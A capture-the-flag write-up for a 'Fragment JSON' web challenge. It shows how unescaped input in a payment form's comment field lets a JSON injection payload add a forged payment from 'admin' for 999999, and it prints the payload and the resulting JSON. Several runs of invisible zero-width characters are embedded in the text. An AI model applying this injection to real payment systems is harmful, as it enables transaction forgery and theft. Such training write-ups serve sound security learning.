Fragment JSON

Platform: web-kids20 | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-03-09 | Status: Solved Techniques: json_fragment_injection, payment_forgery

Summary

Web application for processing payments (similar to d21, but with JSON). The system validates that the sender equals "me". User input in the "comment" field is inserted into JSON without escaping.

Fragment JSON — Web Kids 2.0

Description

Web application for processing payments (similar to d21, but with JSON). The system validates that the sender equals "me". User input in the "comment" field is inserted into JSON without escaping.

Analysis

The application forms a JSON array with payment data:

 json read-only • copy allowed Copy
[
  {
    "sender": "me",
    "receiver": "target",
    "amount": "100",
    "comment": "user_input"
  }
]

The comment field is not escaped, which allows injecting JSON syntax and creating an additional payment object. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Solution

Step 1: Structure Analysis

We determine that user input is inserted directly into JSON without escaping quotes and special characters.

Step 2: Crafting the Payload

Close the current object and open a new one with sender=admin:

test"},{"sender":"admin","receiver":"me","amount":"999999","comment":"hacked

Step 3: Resulting JSON

After injection, the JSON looks like this:

 json read-only • copy allowed Copy
[
  {
    "sender": "me",
    "receiver": "target",
    "amount": "100",
    "comment": "test"
  },
  {
    "sender": "admin",
    "receiver": "me",
    "amount": "999999",
    "comment": "hacked"
  }
]

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

The system processes both payments, including the forged one from admin. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍